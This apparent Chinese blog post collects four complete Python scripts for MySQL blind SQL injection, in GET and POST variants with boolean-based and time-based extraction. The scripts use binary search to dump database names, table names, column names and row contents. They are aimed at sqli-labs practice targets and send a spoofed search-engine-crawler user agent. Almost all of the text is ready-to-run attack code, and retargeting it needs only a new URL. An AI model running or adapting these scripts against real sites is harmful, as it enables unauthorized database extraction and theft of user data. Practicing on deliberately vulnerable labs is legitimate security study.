mysql 盲注脚本大全

目录

1、get bool 盲注

2、get time 盲注

3、post bool 盲注

4、post time 盲注


 

 

 

MySQL中查询所有数据库名和表名

1.查询所有数据库

show databases;
(select group_concat(schema_name ) from information_schema.schemata)

2.查询指定数据库中所有表名

(select group_concat(table_name) from information_schema.tables where table_schema=database())

3.查询指定表中的所有字段名
(select group_concat(column_name) from information_schema.columns where table_name='表名')

4.查询指定字段中的内容

(select group_concat(字段名) from 数据库.表名) ,(select group_concat(username) from security.users)

group_concat(字段) from (表名)
 

1、get bool 盲注

import requests
from urllib.parse import quote

session = requests.session()

# url = "http://61.147.171.105:62055/view.php?no=1"
url="http://35bc1ed6-1ac7-4e98-8a8f-becd773b3277.node4.buuoj.cn/Less-1/?id=1'" #闭合方式在这里体现
# 爬虫请求头
headers={'User-Agent':"Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)",
        'Referer': "http://www.baidu.com/"
}

# 用户请求头
# headers = {
#     'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
#     'Referer': "https://creator.douyin.com/"
# }

#设置访问正确时的判断数据
success_text="Your Login name"


#爆当前数据库名长度
def Database_length():
    database_length=0
    for i in range(1,10):
        payload = quote(" and length(database())="+str(i)+"#")#对特殊符号进行url编码
        text=session.get(url+payload,headers=headers).text
        if success_text in text:
            database_length=i
            break
    print("database_length:",database_length)



# 爆当前数据库名字
def Database_name():
    database_name=""
    for i in range(1,100):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1 =" and ascii(substr(database(), " + str(i) + ", 1)) = " + str(mid)+"#"
            text1=requests.get(url+quote(payload1) , headers=headers).text
            if (success_text in text1):
                database_name+=chr(mid)
                print(database_name)
                break
            payload2 = quote(" and ascii(substr(database(), " + str(i) + ", 1)) > " + str(mid)+"#")
            text2 = requests.get(url+payload2 , headers=headers).text
            if (success_text in text2):
                left=mid
            else:
                right=mid

    print("database_name:", database_name)

# 爆数据库名
def Databases_names():
    databases_names=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1 = " and  (select ascii(substr(group_concat(schema_name),%d,1)) from information_schema.schemata) =%d # "%(i,mid)
            text1=requests.get(url+quote(payload1) , headers=headers).text
            if (success_text in text1):
                databases_names+=chr(mid)
                print(databases_names)
                break
            payload2 = " and  (select ascii(substr(group_concat(schema_name),%d,1)) from information_schema.schemata) >%d # "%(i,mid)
            text2 = requests.get(url+quote(payload2) , headers=headers).text
            if (success_text in text2):
                left=mid
            else:
                right=mid

    print("databases_names:",databases_names)

# 爆表名
def Tables_name(database_name):
    tables_name=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1 = " and  (select ascii(substr(group_concat(table_name),%d,1)) from information_schema.tables where table_schema = '%s') =%d # "%(i,database_name,mid)
            text1=requests.get(url+quote(payload1) , headers=headers).text
            if (success_text in text1):
                tables_name+=chr(mid)
                print(tables_name)
                break
            payload2 = " and  (select ascii(substr(group_concat(table_name),%d,1)) from information_schema.tables where table_schema = '%s') >%d # "%(i,database_name,mid)
            text2 = requests.get(url+quote(payload2) , headers=headers).text
            if (success_text in text2):
                left=mid
            else:
                right=mid

    print("tables_names:",tables_name)



# 爆列名
def Columns_name(table_name):
    columns_name=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1 = " and  (select ascii(substr(group_concat(column_name),%d,1)) from information_schema.columns where table_name = '%s') =%d # "%(i,table_name,mid)
            text1=requests.get(url+quote(payload1) , headers=headers).text
            if (success_text in text1):
                columns_name+=chr(mid)
                print(columns_name)
                break
            payload2 = " and  (select ascii(substr(group_concat(column_name),%d,1)) from information_schema.columns where table_name = '%s') >%d # "%(i,table_name,mid)
            text2 = requests.get(url+quote(payload2) , headers=headers).text
            if (success_text in text2):
                left=mid
            else:
                right=mid
    print("tables_names:",columns_name)



# 爆字段内容
# (select group_concat(字段名) from 数据库.表名)
def Dump(database_name,table_name,columns_name):
    dump=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1 = " and  (select ascii(substr(group_concat(%s),%d,1)) from %s.%s) =%d # "%(columns_name,i,database_name,table_name,mid)
            text1=requests.get(url+quote(payload1) , headers=headers).text
            if (success_text in text1):
                dump+=chr(mid)
                print(dump)
                break
            payload2 = " and  (select ascii(substr(group_concat(%s),%d,1)) from %s.%s) >%d # "%(columns_name,i,database_name,table_name,mid)
            text2 = requests.get(url+quote(payload2) , headers=headers).text
            if (success_text in text2):
                left=mid
            else:
                right=mid
    print("dump:",dump)

# 爆当前数据库长度
# Database_length()

#爆当前数据库名
# Database_name()

# 爆所有数据库名
Databases_names()

# 爆指定数据库表名
# 参数为数据库名字
# Tables_name("security")

# 爆指定表名的列名
# 参数为表名
# Columns_name("emails")

# 爆指定数据库、表、列名的内容
# Dump("security","users","username")

2、get time 盲注

import requests
from urllib.parse import quote
import time
url = '''http://192.168.215.134:86/Less-16/?uname=admin") '''  #闭合方式在这里体现

# 爬虫请求头
headers={'User-Agent':"Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)",
         'Referer': "http://www.baidu.com/"
         }

# 爆当前数据库名字
def Database_name():
    database_name=""
    for i in range(1,100):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1 =" and if(ascii(substr(database(),%d,1))=%d,sleep(1),1)#"%(i,mid)
            start_time=time.time()
            # print(start_time)
            requests.get(url+quote(payload1) , headers=headers)
            # print(time.time())
            if (time.time()-start_time>0.5):
                database_name+=chr(mid)
                print(database_name)
                break
            payload2 =" and if(ascii(substr(database(),%d,1))>%d,sleep(1),1)#"%(i,mid)
            start_time=time.time()
            requests.get(url+quote(payload2) , headers=headers)
            if (time.time()-start_time>0.5):
                left=mid
            else:
                right=mid

    print("database_name:", database_name)

# 爆数据库名
def Databases_names():
    databases_names=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1 = " and  if((select ascii(substr(group_concat(schema_name),%d,1)) from information_schema.schemata) =%d,sleep(1),1) # "%(i,mid)
            start_time=time.time()
            text1=requests.get(url+quote(payload1) , headers=headers).text
            if (time.time()-start_time>0.5):
                databases_names+=chr(mid)
                print(databases_names)
                break
            payload2 = " and  if((select ascii(substr(group_concat(schema_name),%d,1)) from information_schema.schemata) >%d,sleep(1),1) # "%(i,mid)
            start_time=time.time()
            text2 = requests.get(url+quote(payload2) , headers=headers).text
            if (time.time()-start_time>0.5):
                left=mid
            else:
                right=mid

    print("databases_names:",databases_names)

# 爆表名
def Tables_name(database_name):
    tables_name=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1 = " and  if((select ascii(substr(group_concat(table_name),%d,1)) from information_schema.tables where table_schema = '%s') =%d,sleep(1),1) # "%(i,database_name,mid)
            start_time=time.time()
            text1=requests.get(url+quote(payload1) , headers=headers).text
            if (time.time()-start_time>0.5):
                tables_name+=chr(mid)
                print(tables_name)
                break
            payload2 = " and  if((select ascii(substr(group_concat(table_name),%d,1)) from information_schema.tables where table_schema = '%s') >%d,sleep(1),1) # "%(i,database_name,mid)
            start_time=time.time()
            text2 = requests.get(url+quote(payload2) , headers=headers).text
            if (time.time()-start_time>0.5):
                left=mid
            else:
                right=mid

    print("tables_names:",tables_name)



# 爆列名
def Columns_name(table_name):
    columns_name=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1 = " and  if((select ascii(substr(group_concat(column_name),%d,1)) from information_schema.columns where table_name = '%s') =%d,sleep(1),1) # "%(i,table_name,mid)
            start_time=time.time()
            text1=requests.get(url+quote(payload1) , headers=headers).text
            if (time.time()-start_time>0.5):
                columns_name+=chr(mid)
                print(columns_name)
                break
            payload2 = " and  if((select ascii(substr(group_concat(column_name),%d,1)) from information_schema.columns where table_name = '%s') >%d,sleep(1),1) # "%(i,table_name,mid)
            start_time=time.time()
            text2 = requests.get(url+quote(payload2) , headers=headers).text
            if (time.time()-start_time>0.5):
                left=mid
            else:
                right=mid
    print("tables_names:",columns_name)



# 爆字段内容
# (select group_concat(字段名) from 数据库.表名)
def Dump(database_name,table_name,columns_name):
    dump=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1 = " and  if((select ascii(substr(group_concat(%s),%d,1)) from %s.%s) =%d,sleep(1),1) # "%(columns_name,i,database_name,table_name,mid)
            start_time=time.time()
            text1=requests.get(url+quote(payload1) , headers=headers).text
            if (time.time()-start_time>0.5):
                dump+=chr(mid)
                print(dump)
                break
            payload2 = " and  if((select ascii(substr(group_concat(%s),%d,1)) from %s.%s) >%d,sleep(1),1) # "%(columns_name,i,database_name,table_name,mid)
            start_time=time.time()
            text2 = requests.get(url+quote(payload2) , headers=headers).text
            if (time.time()-start_time>0.5):
                left=mid
            else:
                right=mid
    print("dump:",dump)

# 爆当前数据库长度
# Database_length()

#爆当前数据库名
Database_name()

# 爆所有数据库名
# Databases_names()

# 爆指定数据库表名
# 参数为数据库名字
# Tables_name("security")

# 爆指定表名的列名
# 参数为表名
# Columns_name("users")

# 爆指定数据库、表、列名的内容
# Dump("security","users","username")

3、post bool 盲注

 

import requests
from urllib.parse import quote
import time
import  json

url = '''http://192.168.215.134:86/Less-16/'''

success_text="../images/flag.jpg"

#payload在data里面设置

# 爬虫请求头
headers={'User-Agent':"Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)",
         'Referer': "http://www.baidu.com/",
         'Content-Type': 'application/x-www-form-urlencoded',#设置以form表单形式发送post请求

         }
# 爆当前数据库名字
def Database_name():
    database_name=""
    for i in range(1,100):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1='''admin") and ascii(substring(database(),%d,1))=%d #'''%(i,mid)
            data1 = {
                'uname':payload1,
                'passwd':'',
                'submit':'Submit',
            }
            text1=requests.post(url ,data=data1, headers=headers).text
            if (success_text in text1):
                database_name+=chr(mid)
                print(database_name)
                break
            payload2='''admin") and ascii(substring(database(),%d,1))>%d #'''%(i,mid)
            data2 = {'uname':payload2,
                     'passwd':'',
                     'submit':'Submit',
                     }
            text2=requests.post(url ,data=data2 ,headers=headers).text
            if (success_text in text2):
                left=mid
            else:
                right=mid

    print("database_name:", database_name)

# 爆数据库名
def Databases_names():
    databases_names=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1='''admin") and (select ascii(substr(group_concat(schema_name),%d,1)) from information_schema.schemata) =%d # '''%(i,mid)
            data1={
                'uname':payload1,
                'passwd':'',
                'submit':'Submit',
            }

            text1=requests.post(url,data=data1, headers=headers).text
            if (success_text in text1):
                databases_names+=chr(mid)
                print(databases_names)
                break
            payload2='''admin") and  (select ascii(substr(group_concat(schema_name),%d,1)) from information_schema.schemata) >%d # '''%(i,mid)
            data2={
                'uname':payload2,
                'passwd':'',
                'submit':'Submit',
            }

            text2=requests.post(url,data=data2, headers=headers).text
            if (success_text in text2):
                left=mid
            else:
                right=mid

    print("databases_names:",databases_names)

# 爆表名
def Tables_name(database_name):
    tables_name=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1='''admin") and  (select ascii(substr(group_concat(table_name),%d,1)) from information_schema.tables where table_schema = '%s') =%d #'''%(i,database_name,mid)
            data1={
                'uname':payload1,
                'passwd':'',
                'submit':'Submit',
            }

            text1=requests.post(url ,data=data1 ,headers=headers).text
            if (success_text in text1):
                tables_name+=chr(mid)
                print(tables_name)
                break
            payload2='''admin") and  (select ascii(substr(group_concat(table_name),%d,1)) from information_schema.tables where table_schema = '%s') >%d #'''%(i,database_name,mid)
            data2={
                'uname':payload2,
                'passwd':'',
                'submit':'Submit',
            }

            text2 = requests.post(url,data=data2, headers=headers).text
            if (success_text in text2):
                left=mid
            else:
                right=mid

    print("tables_names:",tables_name)



# 爆列名
def Columns_name(table_name):
    columns_name=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1='''admin") and (select ascii(substr(group_concat(column_name),%d,1)) from information_schema.columns where table_name = '%s') =%d # '''%(i,table_name,mid)
            data1={
                'uname':payload1,
                'passwd':'',
                'submit':'Submit',
            }
            text1=requests.post(url ,data=data1 ,headers=headers).text
            if (success_text in text1):
                columns_name+=chr(mid)
                print(columns_name)
                break
            payload2='''admin") and  (select ascii(substr(group_concat(column_name),%d,1)) from information_schema.columns where table_name = '%s') >%d # '''%(i,table_name,mid)
            data2={
                'uname':payload2,
                'passwd':'',
                'submit':'Submit',
            }

            text2=requests.post(url ,data=data2, headers=headers).text
            if (success_text in text2):
                left=mid
            else:
                right=mid
    print("tables_names:",columns_name)



# 爆字段内容
# (select group_concat(字段名) from 数据库.表名)
def Dump(database_name,table_name,columns_name):
    dump=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1 = '''admin") and  (select ascii(substr(group_concat(%s),%d,1)) from %s.%s) =%d # '''%(columns_name,i,database_name,table_name,mid)
            data1={
                'uname':payload1,
                'passwd':'',
                'submit':'Submit',
            }

            text1=requests.post(url , data=data1,headers=headers).text
            if (success_text in text1):
                dump+=chr(mid)
                print(dump)
                break
            payload2 = '''admin") and  (select ascii(substr(group_concat(%s),%d,1)) from %s.%s) >%d # '''%(columns_name,i,database_name,table_name,mid)
            data2={
                'uname':payload2,
                'passwd':'',
                'submit':'Submit',
            }
            text2 = requests.post(url ,data=data2, headers=headers).text
            if (success_text in text2):
                left=mid
            else:
                right=mid
    print("dump:",dump)

#爆当前数据库名
# Database_name()

# 爆所有数据库名
# Databases_names()

# 爆指定数据库表名
# 参数为数据库名字
# Tables_name("security")

# 爆指定表名的列名
# 参数为表名
# Columns_name("users")

# 爆指定数据库、表、列名的内容
Dump("security","users","username")

4、post time 盲注

import requests
from urllib.parse import quote
import time
import  json

url = '''http://192.168.215.134:86/Less-16/'''

#payload在data里面设置

# 爬虫请求头
headers={'User-Agent':"Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)",
         'Referer': "http://www.baidu.com/",
         'Content-Type': 'application/x-www-form-urlencoded',#设置以form表单形式发送post请求

         }
# 爆当前数据库名字
def Database_name():
    database_name=""
    for i in range(1,100):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1='''admin") and if(ascii(substring(database(),%d,1))=%d,sleep(1),1) #'''%(i,mid)
            data1 = {
                'uname':payload1,
                'passwd':'',
                'submit':'Submit',
            }
            start_time=time.time()
            requests.post(url ,data=data1, headers=headers)
            if (time.time()-start_time>0.5):
                database_name+=chr(mid)
                print(database_name)
                break
            payload2='''admin") and if(ascii(substring(database(),%d,1))>%d,sleep(1),1) #'''%(i,mid)
            data2 = {'uname':payload2,
                     'passwd':'',
                     'submit':'Submit',
            }
            start_time=time.time()
            requests.post(url ,data=data2 ,headers=headers)
            if (time.time()-start_time>0.5):
                left=mid
            else:
                right=mid

    print("database_name:", database_name)

# 爆数据库名
def Databases_names():
    databases_names=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1='''admin") and  if((select ascii(substr(group_concat(schema_name),%d,1)) from information_schema.schemata) =%d,sleep(1),1) # '''%(i,mid)
            data1={
                'uname':payload1,
                'passwd':'',
                'submit':'Submit',
            }
            start_time=time.time()
            requests.post(url,data=data1, headers=headers)
            if (time.time()-start_time>0.5):
                databases_names+=chr(mid)
                print(databases_names)
                break
            payload2='''admin") and  if((select ascii(substr(group_concat(schema_name),%d,1)) from information_schema.schemata) >%d,sleep(1),1) # '''%(i,mid)
            data2={
                'uname':payload2,
                'passwd':'',
                'submit':'Submit',
            }
            start_time=time.time()
            requests.post(url,data=data2, headers=headers)
            if (time.time()-start_time>0.5):
                left=mid
            else:
                right=mid

    print("databases_names:",databases_names)

# 爆表名
def Tables_name(database_name):
    tables_name=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1='''admin") and  if((select ascii(substr(group_concat(table_name),%d,1)) from information_schema.tables where table_schema = '%s') =%d,sleep(1),1) #'''%(i,database_name,mid)
            data1={
                'uname':payload1,
                'passwd':'',
                'submit':'Submit',
            }
            start_time=time.time()
            requests.post(url ,data=data1 ,headers=headers)
            if (time.time()-start_time>0.5):
                tables_name+=chr(mid)
                print(tables_name)
                break
            payload2='''admin") and  if((select ascii(substr(group_concat(table_name),%d,1)) from information_schema.tables where table_schema = '%s') >%d,sleep(1),1) #'''%(i,database_name,mid)
            data2={
                'uname':payload2,
                'passwd':'',
                'submit':'Submit',
            }
            start_time=time.time()
            text2 = requests.post(url,data=data2, headers=headers).text
            if (time.time()-start_time>0.5):
                left=mid
            else:
                right=mid

    print("tables_names:",tables_name)



# 爆列名
def Columns_name(table_name):
    columns_name=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1='''admin") and if((select ascii(substr(group_concat(column_name),%d,1)) from information_schema.columns where table_name = '%s') =%d,sleep(1),1) # '''%(i,table_name,mid)
            data1={
                'uname':payload1,
                'passwd':'',
                'submit':'Submit',
            }
            start_time=time.time()
            requests.post(url ,data=data1 ,headers=headers)
            if (time.time()-start_time>0.5):
                columns_name+=chr(mid)
                print(columns_name)
                break
            payload2='''admin") and  if((select ascii(substr(group_concat(column_name),%d,1)) from information_schema.columns where table_name = '%s') >%d,sleep(1),1) # '''%(i,table_name,mid)
            data2={
                'uname':payload2,
                'passwd':'',
                'submit':'Submit',
            }
            start_time=time.time()
            requests.post(url ,data=data2, headers=headers)
            if (time.time()-start_time>0.5):
                left=mid
            else:
                right=mid
    print("tables_names:",columns_name)



# 爆字段内容
# (select group_concat(字段名) from 数据库.表名)
def Dump(database_name,table_name,columns_name):
    dump=""
    for i in range(1,1000):
        left, right = 32,126
        while (1):
            mid = (left + right) // 2
            payload1 = '''admin") and  if((select ascii(substr(group_concat(%s),%d,1)) from %s.%s) =%d,sleep(1),1) # '''%(columns_name,i,database_name,table_name,mid)
            data1={
                'uname':payload1,
                'passwd':'',
                'submit':'Submit',
            }
            start_time=time.time()
            requests.post(url , data=data1,headers=headers)
            if (time.time()-start_time>0.5):
                dump+=chr(mid)
                print(dump)
                break
            payload2 = '''admin") and  if((select ascii(substr(group_concat(%s),%d,1)) from %s.%s) >%d,sleep(1),1) # '''%(columns_name,i,database_name,table_name,mid)
            data2={
            'uname':payload2,
            'passwd':'',
            'submit':'Submit',
            }
            start_time=time.time()
            text2 = requests.post(url ,data=data2, headers=headers).text
            if (time.time()-start_time>0.5):
                left=mid
            else:
                right=mid
    print("dump:",dump)

#爆当前数据库名
# Database_name()

# 爆所有数据库名
# Databases_names()

# 爆指定数据库表名
# 参数为数据库名字
# Tables_name("security")

# 爆指定表名的列名
# 参数为表名
# Columns_name("users")

# 爆指定数据库、表、列名的内容
Dump("security","users","username")

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

T1M@

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值